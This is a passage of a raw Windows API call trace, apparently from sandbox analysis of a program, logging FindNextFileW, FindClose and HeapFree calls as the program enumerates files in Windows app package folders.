lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.659] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0083.663] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.663] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contrast", cAlternateFileName="")) returned 1 [0083.664] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.664] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0083.664] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.664] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a6acd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 0 [0083.664] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0083.664] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.664] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7570, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1 [0083.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.665] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a7e68, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0083.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.665] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x970d3c8f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x970d3c8f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="CubeTile_contrast-black.png", cAlternateFileName="")) returned 1 [0083.668] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.668] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972809b4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x972809b4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x972809b4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_contrast-black.png", cAlternateFileName="")) returned 1 [0083.668] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.668] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973009bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x97326c19, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x97326c19, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlue.png", cAlternateFileName="")) returned 1 [0083.671] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.671] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9739a738, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9a9f7f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x974330d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0083.674] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974330d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9745932e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9745932e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Icon.targetsize-16.png", cAlternateFileName="")) returned 1 [0083.674] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.674] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974a57e1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x974a57e1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x974a57e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediumBlue.png", cAlternateFileName="")) returned 1 [0083.678] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.678] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x975664ea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9aa22bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9758c747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0083.678] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.678] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975d8bfa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x975d8bfa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x975d8bfa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScanIcon_contrast-black.png", cAlternateFileName="")) returned 1 [0083.680] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.680] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 1 [0083.684] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0083.684] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x976e822e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd111d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x977346e6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NavColumn_Black", cAlternateFileName="NAVCOL~1")) returned 0 [0083.684] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0083.684] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0083.684] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9764f8c5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9b67c1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x976e822e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow", cAlternateFileName="")) returned 0 [0083.684] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0083.684] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.685] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x977346e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1023200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Builder3D.exe", cAlternateFileName="")) returned 1 [0083.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.686] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98566969, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98573136, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98573136, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lib3mfUAP.dll", cAlternateFileName="")) returned 1 [0083.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.686] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98573136, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98685908, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98685908, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cf18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0083.686] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0083.687] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_X")) returned 1 [0083.688] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.688] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0083.689] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0083.689] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a93a75, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33ca9b72, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33ca9b72, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0084.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0084.561] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0084.561] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0084.562] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.562] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d27ae5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d27ae5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d27ae5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0084.562] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0084.563] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb523798b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb523798b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe", cAlternateFileName="MICROS~3.0_X")) returned 1 [0084.565] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.565] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d4dd68, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x298f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0084.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.566] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33dc9bf6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f2112c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f2112c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31ed98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0084.567] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0084.567] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe0183a1, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe0183a1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe0183a1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0084.567] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0084.570] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.570] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f47386, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0084.570] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0084.571] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfa8fd8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2aac4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe", cAlternateFileName="MIBC7F~1.0_N")) returned 1 [0084.572] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.572] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="default.html", cAlternateFileName="")) returned 1 [0084.575] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.575] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2d5d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 1 [0084.575] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.575] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0084.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0084.576] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x10032a71, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x10032a71, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x10032a71, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0 [0084.576] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0084.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.576] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdff5463, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdff5463, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0084.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0084.577] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa041d8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI0B0E~1.0_N")) returned 1 [0084.579] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0084.579] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf5cafa, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf5cafa, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf5cafa, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0084.580] HeapFree (in: 